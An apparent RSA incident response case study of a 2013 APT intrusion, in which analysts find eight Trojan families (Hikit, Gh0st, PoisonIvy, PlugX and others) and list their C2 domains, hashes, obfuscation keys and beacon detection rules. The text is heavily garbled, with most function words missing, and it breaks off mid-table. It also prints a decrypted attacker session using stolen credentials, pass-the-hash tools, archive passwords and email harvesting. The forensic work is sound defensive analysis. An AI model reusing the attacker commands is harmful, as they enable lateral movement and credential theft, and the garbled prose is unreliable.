analysis .......................................................................................................................................................... Figure ECAT analysis Trojan.FF- ......................................................................................................................................... Figure Digital Signature details Trojan.FF- .............................................................................................................................. Figure Yara signature Trojan.FF- ............................................................................................................................................ Figure ECAT time analysis At3.job file .................................................................................................................................. Figure analysis Trojan.FF- beaconing ................................................................................................................................... Figure ECAT analysis Trojan.FF- ................................................................................................................................................. Figure ECAT analysis filtering infected hosts ................................................................................................................................... Figure ECAT analysis requesting files enterprise wide .................................................................................................................... Figure ECAT analysis systems infected with Trojan.FF- ............................................................................................................. Figure ECAT time analysis Time stomping ............................................................................................................................... Figure ECAT analysis Trojan.Lurker2 ................................................................................................................................................ Figure Yara Signature Trojan.Lurker2 .............................................................................................................................................. Figure Yara signature Trojan.DerusbiAP32 ...................................................................................................................................... Figure ECAT analysis files root Recycler folder ........................................................................................................................ Figure ECAT analysis files root Recycler folder ........................................................................................................................ Figure ECAT analysis Trojan.Gh0st .................................................................................................................................................. Figure ECAT analysis Trojan cached files ..................................................................................................................................... Figure Relevant Internet History results ............................................................................................................................................ Figure Additional relevant Internet History results ........................................................................................................................... Figure ECAT analysis Systems infected with Trojan.Gh0st .............................................................................................................. Figure Trojan.Gh0st obfuscated configuration file ..................................................................................................................... Figure ECAT analysis files root Recycler folder ........................................................................................................................ Figure ECAT time analysis Trojan.PlugX ................................................................................................................................... Figure ECAT time analysis Trojan.PoisonIvy ............................................................................................................................ Figure ECAT analysis filtering systems infected with PoisonIvy ...................................................................................................... Figure ECAT analysis filtering systems infected with PoisonIvy ...................................................................................................... Figure ECAT analysis systems infected with Trojan.Lurker .............................................................................................................. Figure ECAT analysis systems infected with Trojan.Superhardcorp ................................................................................................ Figure analysis Trojan.Lurker ...................................................................................................................................................... Figure analysis Trojan.Lurker HTTP anomalies ........................................................................................................................... Figure analysis Trojan.Lurker channel activity ....................................................................................................................... Figure analysis Trojan.Lurker channel activity ....................................................................................................................... Figure analysis Trojan.Lurker activity .................................................................................................................................... Figure Suspicious Beaconing ........................................................................................................................................................ Figure Suspicious Beaconing ........................................................................................................................................................ Figure IP.Alias Resolution drometic.suroot.com ........................................................................................................................... Figure Encoded Beacon .......................................................................................................................................................... Incident Response Case Study Incident Response Page Figure Decoded Beacon .......................................................................................................................................................... Figure Detection Parser .......................................................................................................................................................... Figure Trojan.Lurker keys used each variant ....................................................................................................................... Figure Trojan.SuperhardCorp binary snippet .................................................................................................................................. Figure Trojan.DerusbiAP32 configuration file ................................................................................................................................. Figure Trojan.Hikit deobfuscated configuration file .......................................................................................................................... Figure Trojan.Gh0st magic string ....................................................................................................................................................... Figure Trojan.PoisonIvy Memory snippet containing password ..................................................................................................... Figure PosionIvy server side .............................................................................................................................................................. Figure Plaintext file ............................................................................................................................................................................ Figure aPACK file structure ................................................................................................................................................................ Figure Trojan.FF- configuration file structure ............................................................................................................................. Figure Trojan.FF- example ............................................................................................................................................. Figure Trojan.FF- decrypted configuration file ..................................................................................................................... Figure decrypted configuration file with manually generated aPACK header ........................................................................... Figure appack.exe error message ...................................................................................................................................................... Figure Disassembly appack.exe ..................................................................................................................................................... Figure Patching appack.exe ............................................................................................................................................................... Figure 69:RC4 decrypted aPACK decompressed Trojan.FF- configuration file ........................................................................... Incident Response Case Study Incident Response Page 1. Executive Summary This case study contains information from engagement that Incident Response (IR) team worked during September October 2013 timeframe. highlights the analysis flow using two our flagship products, Security Analytics (SA) Enterprise Compromise Assessment Tool (ECAT), Advance Persistent Threat (APT) intrusion investigation. These key technologies allow RSA analysts process massive datasets and find forensically interesting artifacts near real- time more quickly than using standard incident response processes. actors are typically state sponsored, highly skilled, and have the resources maintain prolonged campaigns attacks against their targets. Law Enforcement (LE), security researchers other 3rd- party entities typically notify victims intrusions, like this case. When analysts initially start working with customer, intent verify the intelligence the notification. Too narrow focus specific threat actors and known Indicators Compromise (IOC) give analyst myopic view scope incident. This where the traditional Incident Response process process employed diverge. Utilizing ECAT parallel, analysts able mark their respective datasets feed each other actionable intelligence. Given forensic capabilities respective tools, large majority the Host Based triage analysis can completed before ever requesting full disk images. Additionally, with capability examining host detail remotely, false positives commonly found traditional sweeps eliminated, reducing analytical work load. Neither technology employed RSA, ECAT Security Analytics, rely static signatures from known IOCs. Instead, technologies utilize multi- layer approach identify known good behavior and related binaries while the unknown and non- standard artifacts stand out. This allows analyst broaden their search discover artifacts beyond scope the known. This workflow has been instrumental many Incident Response engagements led RSA; oftentimes there are multiple intrusion sets and older campaigns left behind the environment, not discovered traditional methods including Anti- Virus, discovered during previous party response efforts. Figure shows timeline traditional response compared incident response effort leveraging ECAT Security Analytics. Figure traditional analysis comparison ECAT integrated with OPSWAT, which scans files with multiple engines, Yara signatures, which created user. Incident Response Case Study Incident Response Page During this response effort discovered multiple actors network, where least group been present over years. least systems network either been infected with Trojans deployed actors, clear evidence they been accessed purpose stealing information. Eight different Trojan families were discovered during investigation, some which were capable capturing keystrokes providing access infected system. Incident Response Case Study Incident Response Page 2. Security Analytics and ECAT Deployment utilized the victim Security Analytics infrastructure capturing all enterprise ingress/egress traffic from locations, depicted Figure below. ECAT agent deployed about Windows systems network. Figure Network diagram with capture points Incident Response Case Study Incident Response Page 3. Analysis Methodology employs methodology that founded industry standards. holistic approach includes following four core components: Intelligence gathering research; Host- based forensic analysis; Network- based forensic analysis; and, Malware analysis. Using iterative approach, Team employs repeatable process needed upon discovery additional actionable data. Analysis executed concurrently therefore activities performed simultaneously maximum efficiency effectiveness. complete this work, uses several commercial open source forensic tools recover artifacts build comprehensive understanding the extent compromise. addition, the Team will leverage available tools and technologies place within the enterprise effectively utilize the IOCs identify compromised systems monitor continued attacker presence. Using this methodology associated proactive reactive techniques, the Team able enhance overall situational awareness and ultimately provide answers questions actionable information allowing tactical decision making near real- time. Figure Competencies Definitions: Threat Intelligence open source research real- time fusion known threat data Host Forensics analysis file systems, logs, memory, other volatile data identify IOCs and/or suspicious activity Network Forensics analysis network traffic logs identify IOCs and/or suspicious activity Malware Analysis analysis code identify tactics, IOCs and/or suspicious activity. Incident Response Case Study Incident Response Page 4. Case Study Technical Details Initial Consultation Enforcement agency notified victim (CompanyA) July 2013 about potential unauthorized activity emanating from CompanyA network. This notification mentioned that rather large amount data had been exfiltrated. CompanyA requested help team determine extent problem. CompanyA sent firewall logs hour period encompassing time notification from agency. team able rapidly analyze firewall logs, pinpointing several entries from machine that large transfers. file transfer sizes combined matched the approximate amount data that had been reported being exfiltrated external system continental United States. team provided this information back CompanyA, requested that CompanyA provide memory dump that particular server analysis. RSA team used Volatility analyze the submitted memory dump. Very quickly, while parsing the Application Compatibility cache from the memory image, RSA confirmed this server likely had unauthorized activity based locations filenames that were executed system. Figure below depicts portion suspected tools that were executed the system. These filenames and location have been previously associated with APT actor tools, techniques procedures (TTP Figure ShimCache results from memory analysis Based these findings RSA advised CompanyA that this server had evidence unauthorized activity, and that based some the filenames the tools, the adversary had most likely dumped password hashes. RSA advised CompanyA that based Last Modified times executed files, this adversary been this system since least 2012 and possibly 2010. These findings indicated high probability that other systems the network were compromised and/or accessed. same agency notified company again September 2013 more unauthorized activity. Incident Response September 2013 the RSA team was formally engaged respond this incident. The following section describes how RSA analysts were able utilize and ECAT investigate this incident. The ECAT agent was initially deployed small number systems the network primarily due the victim belief that this was isolated incident. CompanyA taken first known compromised system offline June, weeks before performed memory analysis chose eight systems perform host forensics their importance victim organization. Incident Response Case Study Incident Response 4.2.1 Page ECAT Analysis System XX13 ECAT contains filters IOCs that highlight files interest based purely behavioral characteristics such they loaded where they located. these filters Reserved Filename which displays files that have reserved names and are not their default location. The list Reserved Filenames includes both common Windows file system names such svchost.exe, explorer.exe, etc, well the names common applications such browser executables. the example depicted Figure below, ECAT indicated that file named svchost.exe (which natively resides under c:\Windows\system32\ folder) suspicious unexpected location. Figure ECAT File Properties Window Another very useful feature ECAT the ability triage system downloading system Master File Table (MFT) directly from ECAT console, swiftly allowing ECAT analyst triage system remotely without interfering with user usage system. built- ECAT Viewer displays relevant NTFS attributes including NTFS time stamps . Frequently, modern Trojans time stomp their files avoid suspicion, seeing time stamps critical determining when something malicious occurred well finding other related events. Within seconds after requesting analyst able perform time analysis system. This process started with events that occurred around the time when the known malicious file named svchost.exe was created. This analysis revealed another related file named svchost.conf, which determined this Trojan obfuscated configuration file. Figure ECAT Viewer Trojan.Hikit Throughout this report some letters names systems have been obfuscated protect identity client. Four time stamps come from $STANDARD_INFORMATION ($SI) attribute, whereas other four come from $FILENAME_INFORMATION ($FN) attribute Incident Response Case Study Incident Response Page configuration file (svchost.conf) obfuscated with byte (0xFA274BCD) contains address 206.205.82.9. These malicious files components what refers Trojan.Hikit: Figure Obfuscated deobfuscated Trojan.Hikit config file From created timestamp svchost.conf, analyst deduced that svchost.exe executed scheduled job, dropped svchost.conf. Malware analysis svchost.exe confirmed this behavior. Typically, when more files created such proximity time each other, least them seconds, this indicative this file being executed scheduled job. This because when scheduling user only specifies hour and minute, thus job executed soon the specified minute arrives, and seconds end being this case highly likely that file svchost.exe was laterally copied over this system, followed remotely scheduling job execute that file . The job was executed about minute later, and resulted the dropping file svchost.conf. fact that another local system involved infect system XX13 important because showed that least one other system the network was compromised. quick check the C:\Windows\Tasks folder did not show any leftover At.job files, whereas the entries SchedLgU.txt file had already rolled into 2013. Furthermore, the Windows Security Event logs, which would typically contain logs which account and from which system the lateral movement occurred, had also rolled. Lastly, this was Windows system their event Microsoft- Windows- TaskSchedules%4Operational.evtx exist, which typically another great evidence source lateral movement. analyst blacklisted file svchost.exe its MD5 hash ECAT that were encountered again would marked malicious. However, very common with many Trojans deployed network, least some them will vary slightly from others and have different hash value since minimum they are probably configured beacon different channels compiled different time. This where another great feature ECAT very useful, namely ECAT ability ingest YARA signatures. This feature also helps immediately mark suspicious files malicious So, common practice for RSA analysts create Yara signatures for newly discovered malicious files. Figure provides signature Trojan.Hikit: Figure Yara signature Trojan.Hikit While have seen adversaries locally schedule execute file local system, this very common although worth keeping mind. Incident Response Case Study Incident Response 4.2.2 Page ECAT Analysis System XXDEV3 second host (XXDEV3) eight systems where ECAT deployed, ECAT discovered second instance Trojan.Hikit. Yara rule already marked file malicious (i.e. blacklisted it). Figure Yara Trojan.Hikit When the analyst triaged XXDEV3, two Trojan.Hikit configuration files were found. Furthermore, while this example Trojan.Hitkit appeared have been system since 2012, configuration files were created 2013, shown below: Figure ECAT time analysis Trojan.Hikit Both configuration files were obfuscated with byte similar example from XX13. same node found both configuration files: drometic.suroot.com (200.108.192.31). analyst also found three files that fortunately weren deleted after execution, shown below: Figure ECAT analysis At#.job files this point analyst three relevant timestamps perform time analysis After sorting entries based timestamp, analyst discovered following relevant activity: seconds after file netddesrv.exe created system scheduled (At1.job). This file executed file named log.bat, which was longer present the system, which executed netddesrv.exe return. This proved classic example lateral movement. This assumption probably true because throughout this case adversary execute files batch files such this instance. Incident Response Case Study Incident Response Page Figure ECAT time analysis Looking the next scheduled job the analyst discovered artifacts that were different from what had been encountered that point, namely files appeared after scheduled executed. Figure ECAT analysis Trojan.FF- scheduled At2.job executed c:\set.exe longer present system), which dropped files frtest.dat Windows Config.wav . last files were components what refers Trojan.FF- RAT. unclear that point whether this Trojan was from different APT group the same APT group that entrenched itself this system August 2012, decided drop second type Trojan this system. Another interesting finding about Trojan.FF- was that file frtest.dat was legitimately digitally signed (as the time engagement): Figure Digital Signature details Trojan.FF- Digitally signed malware rare, implies higher level sophistication from adversary. file Windows Config.wav file compressed contained Trojan configuration information, including domain its project name. Malware analysis showed that the configuration file this Trojan contained two domain names, which both resolved the same that time: mno80.dwy.cc and mno995.dwy.cc (198.55.120.222). Notice seconds creation time. At2.job existed SchedLgU.txt file does contain evidence scheduled jobs, could infer that Trojan dropped lateral movement, looking seconds creation time malicious file(s). Incident Response Case Study Incident Response Page created YARA signature this Trojan based unique decompression algorithm that Trojan utilized: Figure Yara signature Trojan.FF- third job file At3.job also executed file named log.bat longer present the system), however there nothing else relevant around this time: Figure ECAT time analysis At3.job file Since ECAT only deployed eight systems this point, Security Analytics complimented this endpoint visibility providing network visibility. quick lookup address 198.55.120.222 shows that internal systems beaconing that address, there several other domain names also involved: Figure analysis Trojan.FF- beaconing After presenting these findings CompanyA, ECAT agents were deployed every Windows system network. This where ECAT also compliments several discovered Trojans were sleep longer than others, were actively running, system previously infected with Trojan.FF- however Trojan executable files since been removed. ECAT uses frequency analysis give analyst instant visibility across environment given file. this case Yara signature Trojan.FF- RAT, ECAT informed analyst that file frtest.dat hash) also existed additional systems. ECAT also informed analyst this file loaded/entrenched, namely service name Nwsapagent. Incident Response Case Study Incident Response Figure ECAT analysis Trojan.FF- Page systems question shown below: Figure ECAT analysis filtering infected hosts 4.2.3 ECAT Analysis Trojan.FF- analyst knew that Trojan.FF- consisted least file (with .dat extension) configuration file under: C:\Windows\Media\Windows Config.wav, hash values DLLs configuration files varied from system system. Since configuration file (Windows Config.wav) unique filename that does exist Windows system default, and was always found the same directory, the analyst used this fact query all systems for evidence Trojan.FF- RAT. This request would show all systems that were had been infected with Trojan.FF- RAT, well account systems where Trojan present system actively running. ECAT makes this request very easy: Figure ECAT analysis requesting files enterprise wide Incident Response Case Study Incident Response Page Within few seconds ECAT gave the analyst list systems that contained file C:\Windows\Media\Windows Config.wav , which had been infected with Trojan.FF- RAT. total systems contained Trojan.FF- configuration file, shown below (some system names have been blurred protect name victim). Figure ECAT analysis systems infected with Trojan.FF- 4.2.4 ECAT Analysis System XXXXNAPP02 analyst triaged system XXXXAPP02 next, and focused the C:\Windows\system32\ folder where frtest.dat (Trojan.FF- RAT) was located. The analyst noticed several additional suspicious files this folder, which were considered suspicious following reasons: Figure ECAT time analysis Time stomping detailed technical description these configuration files were obfuscated found Appendix Incident Response Case Study Incident Response Page File frtest.dat already known malicious. Files fmnonull.dat (Trojan.FF- RAT) and Mstcpnqe.dat (Trojan.Derusbi) looked suspicious for the following reasons: a. There only handful .dat files system32 folder default, their timestamps including $FN are much older (i.e. during the installation time). These two files were time stomped look older (compare Creation time Creation time) fact were created June June 2013 respectively. b. Both files were created (looking timestamp) very early morning substantial amount malicious activity this case occurred between 12:00AM 6:00AM EST). File ntmrsvc.dll (Trojan.Lurker2) may look like legitimate filename (in fact only one character different from the legitimate filename ntmssvc.dll). The most suspicious aspect this file was that was created recently with other activity around system32 folder. When looking files system sorting $FN, another suspicious file C:\Windows\Temp folder identified. Figure ECAT analysis Trojan.Lurker2 Files seclogon.nls, senseron.dll, seclogon.nt suspicious following reasons: a. Time stomped. b. Created during early hours morning. this system the analyst discovered two new Trojan families Trojan.Derusbi and Trojan.Lurker2. The analyst created Yara signatures each them. Figure Yara Signature Trojan.Lurker2 Incident Response Case Study Incident Response Figure Yara signature Trojan.DerusbiAP32 Page 4.2.5 ECAT Analysis Recycler folder this stage the investigation the analyst had discovered four different Trojan families and several infected hosts. Very often adversaries careful enough cleanup after themselves, relevant artifacts found exploiting the tendencies the adversary. For example, when RSA performed memory analysis the early stages this case, discovered (via ShimCache analysis) that the adversary had preference for storing relevant files under C:\Recycler\ C:\Windows\addins\. Since certain directories not typically contain certain types files, the analyst used ECAT query these directories files that place. example, root Recycler folder should contain files all, analyst requested that ECAT download C:\Recycler\*.*. Here files that were retrieved from C:\Recycler\ directory from various systems: Figure ECAT analysis files root Recycler folder 4.2.6 ECAT Analysis System XXME triage process system named XXME discovery some interesting artifacts. first relevant fact that file C:\Recycler\net.txt created 2010. This event confirms initial suspicions from earliest stages this case, that earliest evidence unauthorized activity goes back 2010: Incident Response Case Study Incident Response Page Figure ECAT analysis files root Recycler folder Time analysis show anything else relevant from 2010. When analyst performed time analysis around bmp#.tmp files following relevant activity discovered: Figure ECAT analysis Trojan.Gh0st Despite the unusual size file MSODBC.dll about 50MB , this file along with file mscmos.sys were found components Trojan.Gh0st. The adversary artificially increased the size file MSODBC.dll appending junk data presumably avoid suspicion. quick look mscmos.sys reveals that obfuscated (XOR with 0x99) configuration file that contained domain name ru.pad62.com, victim company name appeared beginning file. When looking July 2012 activity analyst observed another interesting file: Figure ECAT analysis Trojan cached files time proximity bmp#.tmp file, analyst noticed that executable file was cached under administrator.NY account. This file was also found highly suspicious because its filename contained the size typical Trojan less than 1MB; with large percentage Trojan sizes falling between (10KB 350KB) Incident Response Case Study Incident Response Page company name (blurred for this reason). The fact that this file cached implies that the adversary had GUI access this system and used Internet Explorer download this file. Whenever relevant cached files are discovered system, analyst investigates Internet History that user profile determine from where this file was downloaded. Internet history showed that the malicious file was downloaded from: www.haircollalife.com. Figure Relevant Internet History results file question also appeared have been digitally signed; however this certificate longer valid. This downloaded file was found dropper for Trojan.Gh0st. When executed drops three files: 6to4adv.dll, BusMgr.sys, SvcPack.dat. Digging through rest Internet history, another suspicious file downloaded August 2013 named x8.txt from http://198.27.112.7:666. downloaded file also legitimately digitally signed executable file (i.e. another Trojan.FF- variant). Figure Additional relevant Internet History results Evidence found this system shows that group that using digitally signed Trojans deployed Trojan.Gh0St variant (MSODBC.dll) 2012. then deployed digitally signed Trojan.Gh0st variant July 2012. Internet research digitally signed Trojan.Gh0st showed that Sophos started identifying this variant Troj/PWS- July 2012 . CompanyA runs Sophos their environment, signed Trojan.Gh0st only worked about days before quarantined. unsigned version Trojan.Gh0st also longer active because malware analysis showed that MSODBC.dll attempts load file named JET.dll, which longer present system. here dealing with remnants Trojan that longer active this network. analyst used ECAT find systems that still contained Trojan.Gh0st artifacts, namely presence file svcpack.dat, found several such systems: Figure ECAT analysis Systems infected with Trojan.Gh0st File svcpack.dat contains Trojan configuration information beginning file, which obfuscated single byte (0x11). Here example obfuscated configuration data from SvcPack.dat file: https://secure2.sophos.com/en- us/threat- center/threat- analyses/viruses- and- spyware/Troj~PWS- BYU/detailed- analysis.aspx Incident Response Case Study Incident Response Figure Trojan.Gh0st obfuscated configuration file 4.2.7 Page ECAT Analysis System XX22 analyst started triage system XX22 performing time analysis around files discovered C:\Recycler folder this system. analysis also revealed some deleted text files that used exist this folder. These text files were recovered were found contain recursive directory listings drives other systems network. Typically APT adversaries get recursive directory listings determine which filenames look interesting for exfiltration. Figure ECAT analysis files root Recycler folder Looking activity around file b.exe analyst discovered that responsible dropping files sbiedll.dll helper.url shown below: Figure ECAT time analysis Trojan.PlugX These three malicious files are components what RSA refers Trojan.PlugX. While looking the c:\windows\system32 folder the analyst noticed highly suspicious file named svchost. This file was very suspicious Incident Response Case Study Incident Response Page because contains the name svchost.exe, which critical Windows file, but has extension. When the analyst pivoted file svchost following relevant files were discovered. Figure ECAT time analysis Trojan.PoisonIvy Some quick malware analysis dbServer.exe revealed that variant Trojan.PoisonIvy consisted file dbServer.exe, which de- obfuscated and loaded res.db, which then loaded memshare.dat. File svchost the keystroke logger file Trojan.PoisonIvy. File timebios.dll and share.dat were also found components PoisonIvy. PoisonIvy password that configured these samples was: 15911117665 ECAT identified systems that contain file timebios.dll: Figure ECAT analysis filtering systems infected with PoisonIvy Four these systems also contained file dbServer.exe: Figure ECAT analysis filtering systems infected with PoisonIvy 4.2.8 ECAT Analysis Hunting with InstantIOCs. Another ECAT filter that good malware identifier Unsigned_ServiceDLL filter. This InstantIOC filter will point files that loaded service, which signed. When running this filter against GlobalModule List, ECAT points other types Trojans that refers Trojan.Lurker Trojan.Superhardcore. Incident Response Case Study Incident Response Page ECAT pointed four files (tpoaed.dll, powms.dll, lpest.dll, asesed.dll) that variants Trojan.Lurker: Figure ECAT analysis systems infected with Trojan.Lurker Also, ECAT pointed file named AppMgmt32.dll, which also unsigned that loaded service named IRMON. refers this Trojan Trojan.Superhardcore. Overall, following systems contained Trojan.Superhardcore: Figure ECAT analysis systems infected with Trojan.Superhardcorp SA Analysis Trojan.Lurker approaches that team uses identify malicious network traffic relies identifying anomalies network protocols. Most Trojans not follow protocol standards and thus can detected based these anomalies. example, Trojan.Lurker classic HTTP Trojan. Detection depends knowledge HTTP protocol detecting anomalies non- standard traffic. this case Trojan stood several reasons: 1. First, Trojan POST method send data server. There mandated maximum HTTP Header size, although default limits Apache IIS, 16KB. Trojans generally attempt follow standards allow requests handled proxies, they exist environment. that reason, most HTTP Trojans utilize the GET and POST method facilitate command shell that appears standard HTTP traffic. The POST Method traffic most environments generally 10% overall HTTP traffic, making easier analyst find malicious sessions. 2. Second, Trojan uses short MSIE User- Agent that identifies itself Windows Operating System. Incident Response Case Study Incident Response Page Third, the Trojan using only HTTP headers, very low amount, and doesn follow best practices HTTP/1.1; Content- Type header present POST method. Figure analysis Trojan.Lurker highlight these items actual payload traffic: Figure analysis Trojan.Lurker HTTP anomalies discovered HTTP sessions these containing both Windows well encrypted header RAR The command shell encrypted, files sent channel were clear. first sent rar.exe. Figure analysis Trojan.Lurker channel activity Next, archive with additional tools sent infected host. Incident Response Case Study Incident Response Page Figure analysis Trojan.Lurker channel activity batch script then uploaded executed subsequent commands. seen from previous examples well, this Trojan download files plaintext. Figure analysis Trojan.Lurker activity decrypted commands from Trojan.Lurker traffic identified following relevant activity: RS cmd.exe net use \\XX16\ipc$ "password" /u:LOCAL\username UL C:\Windows\IME\IMEJP\ntfre.exe 332800 UL C:\Windows\IME\IMEJP\~WRD0208.tmp 134052 UL C:\Windows\IME\IMEJP\~WRD0219.tmp 183148 UL C:\Windows\IME\IMEJP\p8.bat ntfre e -p"&uej2&2^@!Ejd3wUDHFsw21" ~WRD0219.tmp r local\user1::XXXXXX8F348F93FAD30C70304DXXXXXX:XXXXXX9F20421885C88B11C388XXXXXX::: "m -s:172.20.240.21 -u:user1 -t:2013-10-15-00 -o:c:\windows\ime\imejp\mail" 9. r local\user2::XXXXXX8F348F93FAD30C70304DXXXXXX:XXXXXXCCA445FCCD44E6BD66D8XXXXXX::: "m -s:172.20.240.21 -u:user2 -t:2013-09-15-00 -o:c:\windows\ime\imejp\mail" Incident Response Case Study Incident Response Page 10. r local\user3::XXXXXX8F348F93FAD30C70304DXXXXXX:XXXXXX64AB0C641B0FC741B8C2XXXXXX::: "m -s:172.20.240.21 -u:user3 -t:2013-09-15-00 -o:c:\windows\ime\imejp\mail" 11. p8.bat 12. rd mail /s/q 13. del m.exe 14. del r.exe operator starts this session with infected system launching remote shell (RS). operator then establishes network connection (2) using stolen credentials. Several files are then uploaded (UL) the infected system (3, 6). should noted that ntfre.exe the RAR command line utility, whereas the .tmp files are actually RAR archive files. very strong RAR password used extract (7) the contents ~WRD0219.tmp RAR archive file. The operator then runs r.exe which pass- the- hash tool (8, 10) three different users, and also executes m.exe, which email harvesting tool. email harvesting tool passed arguments only grab delta emails, i.e. the actors already have taken all previous emails, and are now only interested the latest emails. The batch file p8.bat (11) executed. This file contains commands shown Figure batch file does couple things: extracts files archive ~WRD0208.tmp using password: 64740629. This archive file contained password hash dump utility (PW.exe), which executed against server XX16, hence the reason for establishing network connection that system. utility (ntfre.exe) then used archive collected emails. content the RAR archive (~WRD00h.tmp) hidden password protected with password happyday hphappyday). rest commands cleanup (also 14). file uploaded successfully node. Parallel Detection with Security Analytics During the early stages intrusion the adversary typically very busy performing tasks such moving laterally additional systems the network, dumping password hashes, mapping out the network, and stealing data. After they accomplish this part mission, channels will quiet most part, which mean there maybe outbound connection attempts but there nothing the destination node listening that port. Another symptom this quiet time that adversary choose park their domain names, which mean, that domain names resolve legitimate address such Google IP, resolve the loopback address, some other non- malicious IP. The adversary occasionally interact with system network ensure that they still have access network, activity typically minimal. The only exception this behavior the adversary comes for another round data theft. This current case perfect example this scenario, where least groups access network least years (since 2010). This quiet time presents challenge signature based network devices, since there are payloads hit on. RSA uses simple application rule within identify suspected sessions the form TCP beaconing. TCP beaconing periodic attempts create session with Command Control infrastructure. Condition Condition ip.proto=6 ip.proto=6 streams=1 streams=2 risk.info='flags_syn' risk.info='flags_syn' risk.info!='flags_ack' risk.info!='flags_psh' risk.info!='flags_psh' risk.info!='flags_fin' risk.info!='flags_fin' alert!='rfc1918_dst' risk.info!='flags_rst' payload=0 alert!='rfc1918_dst' Table beacon detection rules Incident Response Case Study Incident Response Page first condition would appear when the remote listener not listening that port. There could any number reasons this such HTRAN listener been shut down Trojan server component itself been shut down. packets generally follow periodicity. This means that first packet sent, seconds later second packet sent and seconds later the SYN packet sent. stands for the Trojan internal timer for attempting another connection. Figure Suspicious Beaconing second condition expects response from server, usually form RST/ACK packets. This would indicate host configuration that resets connections when service bound that port. Figure Suspicious Beaconing domains these beaconing sessions determined taking destination address looking sessions alias.ip. Alias.ip populated the Advanced DNS parser available through the Security Analytics Live content distribution system. This metadata generated when domain lookup results valid address. partial view the metadata lookup drometic.suroot.com shown below: Figure IP.Alias Resolution drometic.suroot.com network traffic Trojan.FF- initially discovered with following rule. service lifetime tcp.dstport 80,81,8000,8080,8443,443,53,21,22,23,10443,1080 risk.info 'flags_syn' This rule looks traffic that been identified Security Analytics Service parsers, been established more than seconds well- known ports well containing Flag SYN. Security Analytics attempts identify sessions based layer layer information such address source/destination ports. Sessions that grow over 32MB over seconds duration declared complete session sent parser logic written disk. Long sessions large downloads will leave session fragments Security Analytics, keying Flag SYN, find beginning such sessions reduce amount data analyst inspect. payload discovered these sessions contains encoded binary data with single byte key. easy derive from traffic exposed when XOR- NULL bytes. Applying this payload data yielded Global Unique Identifier (GUID). http://www.secureworks.com/cyber- threat- intelligence/threats/htran/ Incident Response Case Study Incident Response Page Figure Encoded Beacon Figure Decoded Beacon Further analysis revealed more details about structure payload FLEX parser developed discovering more hosts infected with this variant RAT. Figure Detection Parser Incident Response Case Study Incident Response Page 5. Trojan Families identified eight Trojan families that were being used more groups this engagement. This large number variants for such small network (~1500 Windows systems), however shows what big target this particular network various groups that infiltrated 5.1 Trojan.Lurker identified several malicious files that refers Trojan.Lurker and Trojan.Lurker2. This Trojan allowed the adversary perform following actions infected systems: 1. Execute commands cmd.exe 2. Execute Files 3. Upload/download files 4. Traverse file system 5. Enumerate/terminate running processes. variant this Trojan packed 18,304 bytes whereas second variant packed 48,000 bytes. primary method entrenchment was hijacking the NTMSSVC service replacing the legitimate DLL name there (ntmssvc.dll) with malicious files. characteristics discovered Trojans shown below: File Name Size Hash Compile Time Nodes tpoaed.dll 18304 127D4ED81A3B107FC20A5B7F951D834B Sep 07 2009 03:15:30 UTC lpest.dll 18304 67595C3D126DFF2FEF1281D4EA0E8F45 Sep 07 2009 03:15:30 UTC asesed.dll vdeedd.dll 18304 836910D7E9CA82AA28123293D2509935 Sep 07 2009 03:15:30 UTC powms.dll 18304 1FA362F7611AA30E7DFF1997E3067184 Sep 07 2009 03:15:30 UTC ntmcsvc.dll 18304 3B8134528C6B9655639B55708A899CDB ntmrsvc.dll 48000 F96D9B121ECCD2C5EBDCD69DCDD6D8D3 ntmrsvc.dll 48000 DE0B3E40B369E025822817F0D54D811E Sep 07 2009 03:15:30 UTC Dec 11 2011 05:12:56 UTC Dec 11 2011 05:12:56 UTC price.nspok.com avail.nspok.com 202.181.133.97 220.232.228.11 avail.nspok.com 202.181.133.97 mafeng.mircbloger.com avail.nspok.com 202.181.133.97 rolling.mircbloger.com avail.nspok.com 202.181.133.97 No C2 channels. Misconfigured Trojan. update01.microsoftcentre.com update01.microsoftcentre.com Table Trojan.Lurker files details channels Both variants this Trojan contained configuration data encrypted the end the file. Analysis shows that the data encrypted using modified version the DES (ECB) algorithm. The same key also used encrypt all network communication. Between variants that were discovered keys were found: Figure Trojan.Lurker keys used each variant Incident Response Case Study Incident Response Page 5.2 Trojan.SurperhardCorp identified Trojan family that refers Trojan.SuperhardCorp. This Trojan allows adversary perform following actions infected system: 1. Execute commands/files 2. Upload/download files 3. Traverse file system 4. Enumerate/terminate running processes. primary method entrenchment this Trojan service named IRMON. Trojan communicates over port 443. characteristics discovered Trojans shown below: File Name Size Hash Compile Time Nodes irmon.dll 788892 BE87882D1F306FB9E834FE683EE1A99A irmon32.dll 788992 16B2F029BC7BDE4C2EE69B65B323B86E AppMgmt32.dll 81408 928A2D849047FE1B733A473CFF2EC66C AppMgmt32.dll 769040 71AF8D680158C737ACF8304275F4CB2F Oct 25 2010 07:31:08 UTC Oct 25 2010 07:31:08 UTC Jan 20 2010 05:20:33 UTC Oct 24 2010 13:19:49 UTC appear.weibo03.com docume.sysbloger.com ohio.sysbloger.com specs.dnsrd.com np3.Jkub.com ns8.ddns1.com books.mrface.com kieti.ipsecsl.net Table Trojan.SuperhardCorp file details channels name this Trojan comes from string that hardcoded these samples. Here example: Figure Trojan.SuperhardCorp binary snippet 5.3 Trojan.Derusbi identified two variants another Trojan family that refers Trojan.Derusbi. This Trojan allows the adversary perform following actions infected system: 1. Execute commands/files 2. Upload/download files 3. Traverse file system 4. Enumerate/terminate running processes. Both variants used same channel. characteristics discovered Trojans shown below: File Name Size Hash Compile Time Nodes mstcpday.dat 166703 AF1746DD9985FE9B19D5036CF45C93F0 senseron.dll 87552 0E91F700DF34A2C3633CD49818FA3A61 Jan 19 2013 12:31:39 UTC Aug 14 2012 16:38:55 UTC had-one-job.com had-one-job.com Table Trojan.Derusbi file details channels first variant (mstscpday.dat) exports function DllRegisterServer, can installed simply calling with the regsvr32.exe. During installation, the Trojan entrenched itself service named: stisvc, and created driver which Incident Response Case Study Incident Response Page loaded memory deleted from file system. driver name C:\WINDOWS\system32\Drivers\{BC87739C- 6024- 412c- B489- B951C2F17000}.sys. second variant this Trojan consist files: executable file compressed configuration file. This variant entrenched service named SENS. configuration file named seclogon.nls compressed with aPACK algorithm: Figure Trojan.DerusbiAP32 configuration file decompress this file using utility appack.exe (390A7337B163B819CB99EABE0E8825A4) available http://www.ibsensoftware.com/index.html. decompressed data 1388 bytes (mostly NULLs). relevant data shown below: 5.4 Trojan.HiKiT identified two malicious files that belong Trojan family that RSA refers Trojan.HiKit. This Trojan consists files: executable file, configuration file. characteristics discovered Trojans shown below: File Name Size Hash Compile 